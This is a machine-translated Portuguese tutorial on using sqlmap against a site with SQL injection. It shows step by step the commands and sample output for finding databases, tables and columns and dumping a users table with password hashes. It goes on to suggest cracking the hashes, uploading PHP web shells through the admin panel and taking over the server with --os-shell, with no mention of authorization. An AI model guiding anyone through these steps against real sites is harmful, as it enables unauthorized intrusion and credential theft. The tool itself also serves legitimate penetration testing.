Sqlmap
Sqlmap é uma das ferramentas de automação de injeção sql mais populares e poderosas. Dado um URL de pedido HTTP vulnerável, o sqlmap pode explorar o banco de dados remoto e fazer um monte de hacking, como extrair nomes de banco de dados, tabelas, colunas, todos os dados nas tabelas etc.
pode até ler e escrever arquivos no sistema de arquivos remotos sob certas condições. Escrito em python é uma das ferramentas de hacking mais poderosas lá fora. O Sqlmap é o metasploit das injecções de sql.
Sqlmap está incluído no pen testing Linux distros como kali linux, backtrack, backbox etc. Em outras distros pode ser simplesmente baixado a partir do seguinte url
http://sqlmap.org/.
desde que foi escrito em python, primeiro tem de instalar python no seu sistema. On ubuntu install python from synaptic. No Windows install activestate python. Confira esta publicação para mais detalhes sobre como instalar e executar o sqlmap no windows.
Para a lista de opções e parâmetros que podem ser usados com o sqlmap comando, verifique o sqlmap documentação em
https://github.com/sqlmapproject/sqlmap/wiki/Usage
neste tutorial vamos aprender como usar o sqlmap para explorar vulnerabilidade de aplicativo da web e ver o que pode ser feito com uma ferramenta.
para compreender este tutorial, deverá ter um conhecimento completo de como funcionam as aplicações web orientadas para a base de dados. Por exemplo, aqueles feitos com php+mysql.
Vulneráveis Urls
Permite dizer que há uma aplicação web ou site que tenha uma url como esta
http://www.site.com/section.php?id=51
e é propenso a injeção de sql, porque o desenvolvedor do site não corretamente escapar do parâmetro id. Isto pode ser simplesmente testado tentando abrir o url
http://www.site.com/section.php?id=51'
acabamos de adicionar uma única citação no parâmetro. Se este url lançar um erro ou reagir de uma forma inesperada, então é claro que o banco de dados tem a única citação inesperada que a aplicação não escapou corretamente. Então, neste caso, este parâmetro de entrada ” id ” é vulnerável à injeção de sql.
Hackear com o sqlmap
Agora é a hora de passar para o sqlmap para hackear tais urls. O comando sqlmap é executado a partir do terminal com o interpretador python.
1. Digitalizar o sistema remoto
o primeiro comando é digitalizar o sistema remoto para ver se ele é vulnerável a injeção de sql e, em seguida, recolher informações sobre ele.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"
o acima é o primeiro e mais simples comando a ser executado com a ferramenta sqlmap. Ele verifica os parâmetros de entrada para descobrir se eles são vulneráveis à injeção de sql ou não. Para este sqlmap envia diferentes tipos de cargas de injeção sql para o parâmetro de entrada e verifica a saída.
no processo sqlmap também é capaz de identificar o sistema remoto so, nome de banco de dados e versão. Aqui está como a saída pode parecer com
então a ferramenta sqlmap descobriu o sistema operacional, servidor web e banco de dados, juntamente com a informação da versão. Até isto é bastante impressionante. Mas é tempo de seguir em frente e ver do que mais é capaz esta ferramenta.2. Descubra bases de dados
Uma vez que o sqlmap confirma que um url remoto é vulnerável à injecção de sql e é explorável, o próximo passo é descobrir os nomes das bases de dados que existem no sistema remoto. A opção” –DBS ” é usada para obter a lista de bases de dados.
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
a saída pode ser algo assim
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
a saída mostra as bases de dados existentes no sistema remoto.
3. Encontre tabelas em uma determinada base de dados
Agora é hora de descobrir quais tabelas existem em uma determinada base de dados. Digamos que o banco de dados de interesse aqui é ‘safecosmetics’
o Comando
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
e a saída pode ser algo semelhante a isto
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
não é incrível ? é claro. Vamos começar as colunas de uma tabela particular agora.4. Obter colunas de uma tabela
Agora que temos a lista de tabelas conosco, seria uma boa idéia obter as colunas de alguma tabela importante. Digamos que a tabela é ‘users’ e contém o nome de usuário e senha.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
A saída pode ser algo como isto
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
Então, agora as colunas são claramente visíveis. Bom trabalho!
5. Obtenha dados de uma tabela
Agora vem a parte mais interessante, de extrair os dados da tabela. O comando seria
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
O comando acima irá simplesmente despejar os dados da tabela específica, muito parecido com o comando mysqldump.
A saída pode parecer semelhante a este
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
a coluna de hash parece ter a senha hash. Tente quebrar o haxixe e então você obterá os detalhes de login imediatamente. o sqlmap irá criar um ficheiro csv que contém os dados de descarga para uma análise fácil.
até agora temos sido capazes de coletar um monte de informações a partir da base de dados remota usando sqlmap. É quase como ter acesso directo a um banco de dados remoto através de um cliente como o phpmyadmin. Em cenários reais, os hackers tentariam obter um nível mais elevado de acesso ao sistema. Para isso, eles tentariam quebrar as senhas e tentar entrar através do painel de administração. Ou eles tentariam obter uma shell os usando sqlmap.
escrevi outro post sobre o uso do sqlmap para obter mais detalhes sobre bases de dados remotas. Ele explica as outras opções do sqlmap que são úteis para descobrir os usuários da base de dados, seus privilégios e suas senhas.
o que se segue ?
Uma vez que você é capaz de digitalizar e coletar dados de um sistema vulnerável, seu tempo para explorá-lo e ver se é possível ter acesso ao sistema. O Sqlmap pode fazer algumas coisas como executar consultas sql no sistema remoto, iniciar uma linha de comandos remota no sistema etc.
1. Execute arbitrary sql queries
This is probably the easy thing to do on a server that is vulnerable to SQL injection. O parâmetro — sql-query pode ser usado para especificar uma consulta sql a executar. Coisas de interesse seria criar um usuário na tabela de usuários ou algo semelhante. Ou pode ser alterar/modificar o conteúdo das páginas cms, etc.
outro paramter –sql-shell daria uma shell sql como interface para executar consultas interativamente.2. Entre no painel de administração e jogue
Se o site estiver a correr algum tipo de cms personalizado ou algo semelhante que tenha um painel de administração, então poderá ser possível entrar, desde que seja capaz de quebrar a senha obtida no lixo de banco de dados. Senhas simples e curtas podem ser quebradas simplesmente por força bruta ou google.com.
verifique se o painel de administração permite enviar alguns ficheiros. Se um arquivo php arbitrário pode ser carregado, então será muito mais divertido. O arquivo php pode conter chamadas de funções shell_exec, system ,exec ou passthru e que permitirá executar comandos do sistema arbitary. Scripts de shell web do Php podem ser carregados para fazer a mesma coisa.
3. Shell on remote OS
This is the thing to do to completely takeover the server. No entanto, note que não é tão fácil e trivial como os truques mostrados acima. o sqlmap vem com um parâmetro chamado –os-shell que pode ser usado para tentar obter uma shell no sistema remoto, mas tem muitas limitações próprias.
de acordo com o manual sqlmap
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
o privilégio mais importante necessário para o utilizador actual da base de dados é escrever ficheiros através das funções da base de dados. Na maioria dos casos, esta situação não existe. Portanto, esta técnica não vai funcionar na maioria dos casos.
Nota
1. Por vezes, o sqlmap não consegue ligar-se ao url. Isto é visível quando fica preso na primeira tarefa de “testar a ligação ao url de destino”. Em tais casos, é útil usar a opção “– random-agent”. Isto faz com que o sqlmap use uma assinatura válida do agente de utilizador como as enviadas por um navegador como o chrome ou o firefox.2. Para urls que não estejam na forma de param=value sqlmap não pode saber automaticamente onde injectar. For example mvc urls like http://www.site.com/class_name/method/43/80.nestes casos, o sqlmap tem de ser informado do ponto de injecção marcado por a *
http://www.site.com/class_name/method/43*/80
a imagem acima irá dizer ao sqlmap para injectar no ponto marcado por *
3. Ao usar formulários que enviam dados através do método post, então o sqlmap tem que ser fornecido os dados post nas opções “–data”. Para mais informações, consulte este tutorial sobre a utilização do sqlmap com formulários.